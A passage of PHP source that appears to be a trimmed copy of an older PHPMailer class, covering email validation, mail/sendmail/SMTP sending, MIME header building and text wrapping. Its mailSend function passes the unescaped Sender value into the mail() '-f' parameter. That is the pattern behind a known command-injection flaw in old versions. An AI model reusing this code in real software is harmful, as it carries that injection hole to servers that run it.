  942.                 $patternselect = 'pcre';
  943.             } else {
  944.                 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  945.                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  946.                     $patternselect = 'php';
  947.                 } else {
  948.                     $patternselect = 'noregex';
  949.                 }
  950.             }
  951.         }
  952.         switch ($patternselect) {
  953.             case 'pcre8':
  954.                 return (boolean)preg_match(
  955.                     '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  956.                     '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  957.                     '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  958.                     '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  959.                     '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  960.                     '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  961.                     '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  962.                     '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  963.                     '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  964.                     $address
  965.                 );
  966.             case 'pcre':
  967.                 //An older regex that doesn't need a recent PCRE
  968.                 return (boolean)preg_match(
  969.                     '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  970.                     '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  971.                     '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  972.                     '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  973.                     '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  974.                     '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  975.                     '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  976.                     '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  977.                     '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  978.                     '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  979.                     $address
  980.                 );
  981.             case 'html5':
  982.                 return (boolean)preg_match(
  983.                     '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  984.                     '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  985.                     $address
  986.                 );
  987.             case 'noregex':
  988.                 return (strlen($address) >= 3
  989.                     and strpos($address, '@') >= 1
  990.                     and strpos($address, '@') != strlen($address) - 1);
  991.             case 'php':
  992.             default:
  993.                 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  994.         }
  995.     }
  996.     public function send()
  997.     {
  998.         try {
  999.             if (!$this->preSend()) {
  1000.                 return false;
  1001.             }
  1002.             return $this->postSend();
  1003.         } catch (phpmailerException $exc) {
  1004.             $this->mailHeader = '';
  1005.             $this->setError($exc->getMessage());
  1006.             if ($this->exceptions) {
  1007.                 throw $exc;
  1008.             }
  1009.             return false;
  1010.         }
  1011.     }
  1012.     public function preSend()
  1013.     {
  1014.         try {
  1015.             $this->mailHeader = '';
  1016.             if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1017.                 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1018.             }
  1019.             // Set whether the message is multipart/alternative
  1020.             if (!empty($this->AltBody)) {
  1021.                 $this->ContentType = 'multipart/alternative';
  1022.             }
  1023.             $this->error_count = 0; // reset errors
  1024.             $this->setMessageType();
  1025.             // Refuse to send an empty message unless we are specifically allowing it
  1026.             if (!$this->AllowEmpty and empty($this->Body)) {
  1027.                 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1028.             }
  1029.             $this->MIMEHeader = $this->createHeader();
  1030.             $this->MIMEBody = $this->createBody();
  1031.             if ($this->Mailer == 'mail') {
  1032.                 if (count($this->to) > 0) {
  1033.                     $this->mailHeader .= $this->addrAppend('To', $this->to);
  1034.                 } else {
  1035.                     $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1036.                 }
  1037.                 $this->mailHeader .= $this->headerLine(
  1038.                     'Subject',
  1039.                     $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1040.                 );
  1041.             }
  1042.             // Sign with DKIM if enabled
  1043.             if (!empty($this->DKIM_domain)
  1044.                 && !empty($this->DKIM_private)
  1045.                 && !empty($this->DKIM_selector)
  1046.                 && file_exists($this->DKIM_private)) {
  1047.                 $header_dkim = $this->DKIM_Add(
  1048.                     $this->MIMEHeader . $this->mailHeader,
  1049.                     $this->encodeHeader($this->secureHeader($this->Subject)),
  1050.                     $this->MIMEBody
  1051.                 );
  1052.                 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1053.                     str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1054.             }
  1055.             return true;
  1056.         } catch (phpmailerException $exc) {
  1057.             $this->setError($exc->getMessage());
  1058.             if ($this->exceptions) {
  1059.                 throw $exc;
  1060.             }
  1061.             return false;
  1062.         }
  1063.     }
  1064.     public function postSend()
  1065.     {
  1066.         try {
  1067.             // Choose the mailer and send through it
  1068.             switch ($this->Mailer) {
  1069.                 case 'sendmail':
  1070.                 case 'qmail':
  1071.                     return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1072.                 case 'mail':
  1073.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1074.                 case 'smtp':
  1075.                     return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
  1076.                 default:
  1077.                     $sendMethod = $this->Mailer.'Send';
  1078.                     if (method_exists($this, $sendMethod)) {
  1079.                         return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1080.                     }
  1081.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1082.             }
  1083.         } catch (phpmailerException $exc) {
  1084.             $this->setError($exc->getMessage());
  1085.             $this->edebug($exc->getMessage());
  1086.             if ($this->exceptions) {
  1087.                 throw $exc;
  1088.             }
  1089.         }
  1090.         return false;
  1091.     }
  1092.     protected function sendmailSend($header, $body)
  1093.     {
  1094.         if ($this->Sender != '') {
  1095.             if ($this->Mailer == 'qmail') {
  1096.                 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1097.             } else {
  1098.                 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1099.             }
  1100.         } else {
  1101.             if ($this->Mailer == 'qmail') {
  1102.                 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1103.             } else {
  1104.                 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1105.             }
  1106.         }
  1107.         if ($this->SingleTo) {
  1108.             foreach ($this->SingleToArray as $toAddr) {
  1109.                 if (!@$mail = popen($sendmail, 'w')) {
  1110.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1111.                 }
  1112.                 fputs($mail, 'To: ' . $toAddr . "\n");
  1113.                 fputs($mail, $header);
  1114.                 fputs($mail, $body);
  1115.                 $result = pclose($mail);
  1116.                 $this->doCallback(
  1117.                     ($result == 0),
  1118.                     array($toAddr),
  1119.                     $this->cc,
  1120.                     $this->bcc,
  1121.                     $this->Subject,
  1122.                     $body,
  1123.                     $this->From
  1124.                 );
  1125.                 if ($result != 0) {
  1126.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1127.                 }
  1128.             }
  1129.         } else {
  1130.             if (!@$mail = popen($sendmail, 'w')) {
  1131.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1132.             }
  1133.             fputs($mail, $header);
  1134.             fputs($mail, $body);
  1135.             $result = pclose($mail);
  1136.             $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1137.             if ($result != 0) {
  1138.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1139.             }
  1140.         }
  1141.         return true;
  1142.     }
  1143.     protected function mailSend($header, $body)
  1144.     {
  1145.         $toArr = array();
  1146.         foreach ($this->to as $toaddr) {
  1147.             $toArr[] = $this->addrFormat($toaddr);
  1148.         }
  1149.         $to = implode(', ', $toArr);
  1150.         if (empty($this->Sender)) {
  1151.             $params = ' ';
  1152.         } else {
  1153.             $params = sprintf('-f%s', $this->Sender);
  1154.         }
  1155.         if ($this->Sender != '' and !ini_get('safe_mode')) {
  1156.             $old_from = ini_get('sendmail_from');
  1157.             ini_set('sendmail_from', $this->Sender);
  1158.         }
  1159.         $result = false;
  1160.         if ($this->SingleTo && count($toArr) > 1) {
  1161.             foreach ($toArr as $toAddr) {
  1162.                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1163.                 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1164.             }
  1165.         } else {
  1166.             $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1167.             $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1168.         }
  1169.         if (isset($old_from)) {
  1170.             ini_set('sendmail_from', $old_from);
  1171.         }
  1172.         if (!$result) {
  1173.             throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1174.         }
  1175.         return true;
  1176.     }
  1177.   public function getSMTPInstance()
  1178.     {
  1179.         if (!is_object($this->smtp)) {
  1180.             $this->smtp = new SMTP;
  1181.         }
  1182.         return $this->smtp;
  1183.     }
  1184.     protected function smtpSend($header, $body)
  1185.     {
  1186.         $bad_rcpt = array();
  1187.         if (!$this->smtpConnect($this->SMTPOptions)) {
  1188.             throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1189.         }
  1190.         if ('' == $this->Sender) {
  1191.             $smtp_from = $this->From;
  1192.         } else {
  1193.             $smtp_from = $this->Sender;
  1194.         }
  1195.         if (!$this->smtp->mail($smtp_from)) {
  1196.             $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1197.             throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1198.         }
  1199.         foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1200.             foreach ($togroup as $to) {
  1201.                 if (!$this->smtp->recipient($to[0])) {
  1202.                     $error = $this->smtp->getError();
  1203.                     $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1204.                     $isSent = false;
  1205.                 } else {
  1206.                     $isSent = true;
  1207.                 }
  1208.                 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1209.             }
  1210.         }
  1211.         if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1212.             throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1213.         }
  1214.         if ($this->SMTPKeepAlive) {
  1215.             $this->smtp->reset();
  1216.         } else {
  1217.             $this->smtp->quit();
  1218.             $this->smtp->close();
  1219.         }
  1220.         if (count($bad_rcpt) > 0) {
  1221.             $errstr = '';
  1222.             foreach ($bad_rcpt as $bad) {
  1223.                 $errstr .= $bad['to'] . ': ' . $bad['error'];
  1224.             }
  1225.             throw new phpmailerException(
  1226.                 $this->lang('recipients_failed') . $errstr,
  1227.                 self::STOP_CONTINUE
  1228.             );
  1229.         }
  1230.         return true;
  1231.     }
  1232.     public function smtpConnect($options = array())
  1233.     {
  1234.         if (is_null($this->smtp)) {
  1235.             $this->smtp = $this->getSMTPInstance();
  1236.         }
  1237.         if ($this->smtp->connected()) {
  1238.             return true;
  1239.         }
  1240.         $this->smtp->setTimeout($this->Timeout);
  1241.         $this->smtp->setDebugLevel($this->SMTPDebug);
  1242.         $this->smtp->setDebugOutput($this->Debugoutput);
  1243.         $this->smtp->setVerp($this->do_verp);
  1244.         $hosts = explode(';', $this->Host);
  1245.         $lastexception = null;
  1246.         foreach ($hosts as $hostentry) {
  1247.             $hostinfo = array();
  1248.             if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1249.                 continue;
  1250.             }
  1251.             $prefix = '';
  1252.             $secure = $this->SMTPSecure;
  1253.             $tls = ($this->SMTPSecure == 'tls');
  1254.             if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1255.                 $prefix = 'ssl://';
  1256.                 $tls = false; // Can't have SSL and TLS at the same time
  1257.                 $secure = 'ssl';
  1258.             } elseif ($hostinfo[2] == 'tls') {
  1259.                 $tls = true;
  1260.                 $secure = 'tls';
  1261.             }
  1262.             $sslext = defined('OPENSSL_ALGO_SHA1');
  1263.             if ('tls' === $secure or 'ssl' === $secure) {
  1264.                 if (!$sslext) {
  1265.                     throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1266.                 }
  1267.             }
  1268.             $host = $hostinfo[3];
  1269.             $port = $this->Port;
  1270.             $tport = (integer)$hostinfo[4];
  1271.             if ($tport > 0 and $tport < 65536) {
  1272.                 $port = $tport;
  1273.             }
  1274.             if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1275.                 try {
  1276.                     if ($this->Helo) {
  1277.                         $hello = $this->Helo;
  1278.                     } else {
  1279.                         $hello = $this->serverHostname();
  1280.                     }
  1281.                     $this->smtp->hello($hello);
  1282.                     if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1283.                         $tls = true;
  1284.                     }
  1285.                     if ($tls) {
  1286.                         if (!$this->smtp->startTLS()) {
  1287.                             throw new phpmailerException($this->lang('connect_host'));
  1288.                         }
  1289.                         $this->smtp->hello($hello);
  1290.                     }
  1291.                     if ($this->SMTPAuth) {
  1292.                         if (!$this->smtp->authenticate(
  1293.                             $this->Username,
  1294.                             $this->Password,
  1295.                             $this->AuthType,
  1296.                             $this->Realm,
  1297.                             $this->Workstation
  1298.                         )
  1299.                         ) {
  1300.                             throw new phpmailerException($this->lang('authenticate'));
  1301.                         }
  1302.                     }
  1303.                     return true;
  1304.                 } catch (phpmailerException $exc) {
  1305.                     $lastexception = $exc;
  1306.                     $this->edebug($exc->getMessage());
  1307.                     $this->smtp->quit();
  1308.                 }
  1309.             }
  1310.         }
  1311.         $this->smtp->close();
  1312.         if ($this->exceptions and !is_null($lastexception)) {
  1313.             throw $lastexception;
  1314.         }
  1315.         return false;
  1316.     }
  1317.     public function smtpClose()
  1318.     {
  1319.         if ($this->smtp !== null) {
  1320.             if ($this->smtp->connected()) {
  1321.                 $this->smtp->quit();
  1322.                 $this->smtp->close();
  1323.             }
  1324.         }
  1325.     }
  1326.  
  1327.     public function setLanguage($langcode = 'en', $lang_path = '')
  1328.     {
  1329.         // Define full set of translatable strings in English
  1330.         $PHPMAILER_LANG = array(
  1331.             'authenticate' => 'SMTP Error: Could not authenticate.',
  1332.             'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1333.             'data_not_accepted' => 'SMTP Error: data not accepted.',
  1334.             'empty_message' => 'Message body empty',
  1335.             'encoding' => 'Unknown encoding: ',
  1336.             'execute' => 'Could not execute: ',
  1337.             'file_access' => 'Could not access file: ',
  1338.             'file_open' => 'File Error: Could not open file: ',
  1339.             'from_failed' => 'The following From address failed: ',
  1340.             'instantiate' => 'Could not instantiate mail function.',
  1341.             'invalid_address' => 'Invalid address',
  1342.             'mailer_not_supported' => ' mailer is not supported.',
  1343.             'provide_address' => 'You must provide at least one recipient email address.',
  1344.             'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1345.             'signing' => 'Signing Error: ',
  1346.             'smtp_connect_failed' => 'SMTP connect() failed.',
  1347.             'smtp_error' => 'SMTP server error: ',
  1348.             'variable_set' => 'Cannot set or reset variable: '
  1349.         );
  1350.         if (empty($lang_path)) {
  1351.             // Calculate an absolute path so it can work if CWD is not here
  1352.             $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1353.         }
  1354.         $foundlang = true;
  1355.         $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1356.         if ($langcode != 'en') { // There is no English translation file
  1357.             // Make sure language file path is readable
  1358.             if (!is_readable($lang_file)) {
  1359.                 $foundlang = false;
  1360.             } else {
  1361.                 $foundlang = include $lang_file;
  1362.             }
  1363.         }
  1364.         $this->language = $PHPMAILER_LANG;
  1365.         return (boolean)$foundlang; // Returns false if language not found
  1366.     }
  1367.     public function getTranslations()
  1368.     {
  1369.         return $this->language;
  1370.     }
  1371.     public function addrAppend($type, $addr)
  1372.     {
  1373.         $addresses = array();
  1374.         foreach ($addr as $address) {
  1375.             $addresses[] = $this->addrFormat($address);
  1376.         }
  1377.         return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1378.     }
  1379.  
  1380.     public function addrFormat($addr)
  1381.     {
  1382.         if (empty($addr[1])) { // No name provided
  1383.             return $this->secureHeader($addr[0]);
  1384.         } else {
  1385.             return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1386.                 $addr[0]
  1387.             ) . '>';
  1388.         }
  1389.     }
  1390.  
  1391.     public function wrapText($message, $length, $qp_mode = false)
  1392.     {
  1393.         $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  1394.         $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1395.         $lelen = strlen($this->LE);
  1396.         $crlflen = strlen(self::CRLF);
  1397.         $message = $this->fixEOL($message);
  1398.         if (substr($message, -$lelen) == $this->LE) {
  1399.             $message = substr($message, 0, -$lelen);
  1400.         }
  1401.         $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
  1402.         $message = '';
  1403.         for ($i = 0; $i < count($line); $i++) {
  1404.             $line_part = explode(' ', $line[$i]);
  1405.             $buf = '';
  1406.             for ($e = 0; $e < count($line_part); $e++) {
  1407.                 $word = $line_part[$e];
  1408.                 if ($qp_mode and (strlen($word) > $length)) {
  1409.                     $space_left = $length - strlen($buf) - $crlflen;
  1410.                     if ($e != 0) {
  1411.                         if ($space_left > 20) {
  1412.                             $len = $space_left;
  1413.                             if ($is_utf8) {
  1414.                                 $len = $this->utf8CharBoundary($word, $len);
  1415.                             } elseif (substr($word, $len - 1, 1) == '=') {
  1416.                                 $len--;
  1417.                             } elseif (substr($word, $len - 2, 1) == '=') {
  1418.                                 $len -= 2;
  1419.                             }
  1420.                             $part = substr($word, 0, $len);
  1421.                             $word = substr($word, $len);
  1422.                             $buf .= ' ' . $part;
  1423.                             $message .= $buf . sprintf('=%s', self::CRLF);
  1424.                         } else {
  1425.                             $message .= $buf . $soft_break;
  1426.                         }
  1427.                         $buf = '';
  1428.                     }
  1429.                     while (strlen($word) > 0) {
  1430.                         if ($length <= 0) {
  1431.                             break;
  1432.                         }
  1433.                         $len = $length;
  1434.                         if ($is_utf8) {
  1435.                             $len = $this->utf8CharBoundary($word, $len);
  1436.                         } elseif (substr($word, $len - 1, 1) == '=') {
  1437.                             $len--;
  1438.                         } elseif (substr($word, $len - 2, 1) == '=') {
  1439.                             $len -= 2;
  1440.                         }
  1441.                         $part = substr($word, 0, $len);
  1442.                         $word = substr($word, $len);
  1443.                         if (strlen($word) > 0) {
  1444.                             $message .= $part . sprintf('=%s', self::CRLF);
  1445.                         } else {
  1446.                             $buf = $part;
  1447.                         }
  1448.                     }
  1449.                 } else {
  1450.                     $buf_o = $buf;
  1451.                     $buf .= ($e == 0) ? $word : (' ' . $word);
  1452.                     if (strlen($buf) > $length and $buf_o != '') {
  1453.                         $message .= $buf_o . $soft_break;
  1454.                         $buf = $word;
  1455.                     }
  1456.                 }
  1457.             }
  1458.             $message .= $buf . self::CRLF;
  1459.         }
  1460.         return $message;
  1461.     }
  1462.     public function utf8CharBoundary($encodedText, $maxLength)
  1463.     {
  1464.         $foundSplitPos = false;
  1465.         $lookBack = 3;
  1466.         while (!$foundSplitPos) {
  1467.             $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1468.             $encodedCharPos = strpos($lastChunk, '=');
  1469.             if (false !== $encodedCharPos) {
  1470.                 // Found start of encoded character byte within $lookBack block.
  1471.                 // Check the encoded byte value (the 2 chars after the '=')
  1472.                 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1473.                 $dec = hexdec($hex);
  1474.                 if ($dec < 128) { // Single byte character.
  1475.                     // If the encoded char was found at pos 0, it will fit
  1476.                     // otherwise reduce maxLength to start of the encoded char
  1477.                     $maxLength = ($encodedCharPos == 0) ? $maxLength :
  1478.                         $maxLength - ($lookBack - $encodedCharPos);
  1479.                     $foundSplitPos = true;
  1480.                 } elseif ($dec >= 192) { // First byte of a multi byte character
  1481.                     // Reduce maxLength to split at start of character
  1482.                     $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1483.                     $foundSplitPos = true;
  1484.                 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  1485.                     $lookBack += 3;
  1486.                 }
  1487.             } else {
  1488.                 // No encoded character found
  1489.                 $foundSplitPos = true;
  1490.             }
  1491.         }
  1492.         return $maxLength;
  1493.     }
  1494.     public function setWordWrap()
  1495.     {
  1496.         if ($this->WordWrap < 1) {
  1497.             return;
  1498.         }
  1499.         switch ($this->message_type) {
  1500.             case 'alt':
  1501.             case 'alt_inline':
  1502.             case 'alt_attach':
  1503.             case 'alt_inline_attach':
  1504.                 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1505.                 break;
  1506.             default:
  1507.                 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1508.                 break;
  1509.         }
  1510.     }
  1511.     public function createHeader()
  1512.     {
  1513.         $result = '';
  1514.         // Set the boundaries
  1515.         $uniq_id = md5(uniqid(time()));
  1516.         $this->boundary[1] = 'b1_' . $uniq_id;
  1517.         $this->boundary[2] = 'b2_' . $uniq_id;
  1518.         $this->boundary[3] = 'b3_' . $uniq_id;
  1519.         if ($this->MessageDate == '') {
  1520.             $this->MessageDate = self::rfcDate();
  1521.         }
  1522.         $result .= $this->headerLine('Date', $this->MessageDate);
  1523.  
  1524.         // To be created automatically by mail()
  1525.         if ($this->SingleTo) {
  1526.             if ($this->Mailer != 'mail') {
  1527.                 foreach ($this->to as $toaddr) {
  1528.                     $this->SingleToArray[] = $this->addrFormat($toaddr);
  1529.                 }
  1530.             }
  1531.         } else {
  1532.             if (count($this->to) > 0) {
  1533.                 if ($this->Mailer != 'mail') {
  1534.                     $result .= $this->addrAppend('To', $this->to);
  1535.                 }
  1536.             } elseif (count($this->cc) == 0) {
  1537.                 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  1538.             }
  1539.         }
  1540.         $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  1541.         // sendmail and mail() extract Cc from the header before sending
  1542.         if (count($this->cc) > 0) {
  1543.             $result .= $this->addrAppend('Cc', $this->cc);
  1544.         }
  1545.         // sendmail and mail() extract Bcc from the header before sending
  1546.         if ((
  1547.                 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  1548.             )
  1549.             and count($this->bcc) > 0
  1550.         ) {
  1551.             $result .= $this->addrAppend('Bcc', $this->bcc);
  1552.         }
  1553.         if (count($this->ReplyTo) > 0) {
  1554.             $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  1555.         }
  1556.         // mail() sets the subject itself
  1557.         if ($this->Mailer != 'mail') {
  1558.             $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  1559.         }
  1560.         if ($this->MessageID != '') {
  1561.             $this->lastMessageID = $this->MessageID;
  1562.         } else {
  1563.             $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
  1564.         }
  1565.         $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  1566.         $result .= $this->headerLine('X-Priority', $this->Priority);
  1567.         if ($this->XMailer == '') {
  1568.         } else {
  1569.             $myXmailer = trim($this->XMailer);
  1570.             if ($myXmailer) {
  1571.                 $result .= $this->headerLine('X-Mailer', $myXmailer);
  1572.             }
  1573.         }
  1574.         if ($this->ConfirmReadingTo != '') {
  1575.             $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  1576.         }
  1577.         // Add custom headers
  1578.         for ($index = 0; $index < count($this->CustomHeader); $index++) {
  1579.             $result .= $this->headerLine(
  1580.                 trim($this->CustomHeader[$index][0]),
  1581.                 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
  1582.             );
  1583.         }
  1584.         if (!$this->sign_key_file) {
  1585.             $result .= $this->headerLine('MIME-Version', '1.0');
  1586.             $result .= $this->getMailMIME();
  1587.         }
  1588.         return $result;
  1589.     }
  1590.     public function getMailMIME()
  1591.     {
  1592.         $result = '';
  1593.         $ismultipart = true;
  1594.         switch ($this->message_type) {
  1595.             case 'inline':
  1596.                 $result .= $this->headerLine('Content-Type', 'multipart/related;');
  1597.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1598.                 break;
  1599.             case 'attach':
  1600.             case 'inline_attach':
  1601.             case 'alt_attach':
  1602.             case 'alt_inline_attach':
  1603.                 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  1604.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1605.                 break;
  1606.             case 'alt':
  1607.             case 'alt_inline':
  1608.                 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1609.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1610.                 break;
  1611.             default:
  1612.                 // Catches case 'plain': and case '':
  1613.                 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  1614.                 $ismultipart = false;
  1615.                 break;
  1616.         }
  1617.         // RFC1341 part 5 says 7bit is assumed if not specified
  1618.         if ($this->Encoding != '7bit') {
  1619.             // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  1620.             if ($ismultipart) {
  1621.                 if ($this->Encoding == '8bit') {
  1622.                     $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  1623.                 }
  1624.                 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  1625.             } else {
  1626.                 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  1627.             }
  1628.         }
  1629.         if ($this->Mailer != 'mail') {
  1630.             $result .= $this->LE;
  1631.         }
  1632.         return $result;
  1633.     }
  1634.     public function getSentMIMEMessage()
  1635.     {
  1636.         return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  1637.     }
  1638.  
  1639.     public function createBody()
  1640.     {
  1641.         $body = '';
  1642.         if ($this->sign_key_file) {
  1643.             $body .= $this->getMailMIME() . $this->LE;
  1644.         }
  1645.         $this->setWordWrap();
  1646.         $bodyEncoding = $this->Encoding;
  1647.         $bodyCharSet = $this->CharSet;
  1648.         if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  1649.             $bodyEncoding = '7bit';
  1650.             $bodyCharSet = 'us-ascii';
  1651.         }
  1652.         $altBodyEncoding = $this->Encoding;
  1653.         $altBodyCharSet = $this->CharSet;
  1654.         if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  1655.             $altBodyEncoding = '7bit';
  1656.             $altBodyCharSet = 'us-ascii';
  1657.         }
  1658.         switch ($this->message_type) {
  1659.             case 'inline':
  1660.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  1661.                 $body .= $this->encodeString($this->Body, $bodyEncoding);
  1662.                 $body .= $this->LE . $this->LE;
  1663.                 $body .= $this->attachAll('inline', $this->boundary[1]);
  1664.                 break;
  1665.             case 'attach':
